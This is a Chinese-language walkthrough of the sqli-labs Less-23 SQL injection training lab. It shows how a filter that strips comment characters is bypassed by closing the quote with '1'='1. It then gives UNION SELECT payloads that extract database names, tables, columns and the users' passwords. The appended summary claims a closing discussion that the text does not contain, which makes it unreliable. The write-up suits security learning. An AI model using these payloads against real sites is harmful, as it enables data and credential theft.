一、输入id,页面正常显示,然后输入单引号报错,添加注释符后还是报错,就让人怀疑多了括号,试了还是没用

二、看一下源码
1.确实是单引号闭合没有问题,再找一下出错原因

2.发现对$id这个变量使用了preg_replace函数。preg_replace 函数执行一个正则表达式的搜索和替换,第一个参数表示要搜索的字符串,第二个参数表示替换的字符串,第三个参数就是搜索或替换的目标。这里就是将#和–这两个注释符替换成了空格。所以我们添加注释符后才会报错,因为没有注释掉或者闭合掉后面的单引号

3.现在只要想办法闭合后面的单引号就好了,选择用’1’='1这个方法,成功显示,既然这关有显示位,那就用联合查询就好了
http://127.0.0.1/sqli-labs-master/Less-23/?id=1' and '1'='1

三、爆所有数据库
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1'='1

四、爆指定数据库所有表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 and '1'='1

五、爆指定表所有列
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 and '1'='1

六、爆指定列所有数据
?id=-1' union select 1,(select group_concat(password) from users),3 and '1'='1

over~
本文详细描述了一次SQL注入攻击的过程,从输入ID导致的错误开始,逐步揭示了如何利用preg_replace函数的漏洞来闭合单引号。接着,通过联合查询展示了如何爆库、爆表、爆列以及爆数据,全面暴露了数据库信息。文章最后总结了SQL注入的严重性及其对数据安全的影响。
9505

被折叠的 条评论
为什么被折叠?



